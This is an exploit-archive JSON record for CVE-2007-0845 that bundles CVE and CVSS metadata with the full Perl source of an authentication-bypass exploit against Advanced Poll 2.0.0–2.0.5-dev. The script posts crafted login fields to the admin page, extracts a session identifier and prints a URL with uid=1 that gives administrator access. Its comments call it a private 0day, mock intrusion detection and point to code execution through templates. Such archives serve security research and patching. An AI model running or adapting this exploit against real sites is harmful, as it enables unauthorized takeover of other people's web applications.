{"exploit":{"id":"EDB-3282","name":"Advanced Poll 2.0.5-dev - Remote Admin Session Generator","description":"Advanced Poll 2.0.5-dev - Remote Admin Session Generator","cves":["CVE-2007-0845"],"author":"diwou","published":"2007-02-07","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3282","path":"exploits/php/webapps/3282.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3282.pl","vulnerabilities":[{"id":"CVE-2007-0845","state":"PUBLISHED","title":null,"titleSource":null,"description":"admin/index.php in Advanced Poll 2.0.0 through 2.0.5-dev allows remote attackers to bypass authentication and gain administrator privileges by obtaining a valid session identifier and setting the uid parameter to 1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0845","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0845"},"updatedAt":"2024-08-07T12:34:21.287Z","retrievedAt":"2026-11-26T19:11:58.052Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3282.png?v=2","url":"https://exploitbin.com/exploits/EDB-3282","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3282/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3282/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n# Advanced Poll 2.0.0 >= 2.0.5-dev textfile admin session gen.\n#\n#\n# 0day!  KEEP IT PRIVATE  0day!\n#\n# date: 30/07/06\n#\n# diwou <diwou@phucksys.org>\n#\n# PHCKSEC (c) 2001-2006.\n#\n# see templates for code execution ;).\n\nuse strict;\nuse warnings;\nuse LWP::UserAgent;\nuse MD5;\n\nmy ($lwp,$agent,$out,$url,$proxy)=(undef,undef,undef,$ARGV[0],$ARGV[1]);\nmy %zday=\n(\n\tusername => 'jakahw4nk4h',\n\t'pollvars[poll_username]' => 'jakahw4nk4h',\n\tpassword => 'fuckoff',\n\t'pollvars[poll_password]' => ''\n);\n$zday{'pollvars[poll_password]'}=&md5($zday{password});\n$agent=\"Hey IDS! i'm gonna fuck your advanced poll right? B===D\"; # post method doesnt log it, so doesnt matter.\n#$agent=\"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\";\n\n#\n# args: url proxy(optional)\n#\n# url: http|https://tatget:(port)/phppoll/\n# proxy: http|https://hostname:(port)/\n#\ndie(\"RTFC! ;)\") unless(@ARGV);\n\n# some lwp routines...\n$lwp=new LWP::UserAgent();\n$lwp->agent($agent);\n$lwp->timeout(10);\n$lwp->protocols_allowed(['http','https']);\n$lwp->proxy(['http','https'],$proxy) if(@ARGV>1);\n\n$url.=\"/\" if($url!~/\\/$/);\n$url.=\"admin/index.php\";\nprint \"Using proxy \".$proxy.\"\\n\" if($proxy);\nprint \"Doing some pretty with \".$url.\"...\\n\\n\";\n\n$out=$lwp->post($url,\\%zday)->content();\nif($out=~ /index\\.php\\?session=((.){32})/)\n{\n\tprint \"well, you are a bigone ;).\\n\";\n\tprint \"try: \".$url.\"?session=\".$1.\"&uid=1\\n\";\n}\nelse\n{\n\tprint \"don't worry, u can improve me! eh eh eh :D?\\n\";\n}\n\nsub md5\n{\n\t$_=new MD5;\n\t$_->add(@_);\n\treturn unpack(\"H*\",$_->digest());\n}\n\n# milw0rm.com [2007-02-07]","sha256":"a82e4da3cc7ea6841ee1878f5ba836b4942beb4bf0493579bb3046ca92c36e0f","bytes":1594,"fetchedAt":"2026-11-26T19:11:51.814Z","encoding":"utf-8 (display only; download retains original bytes)"}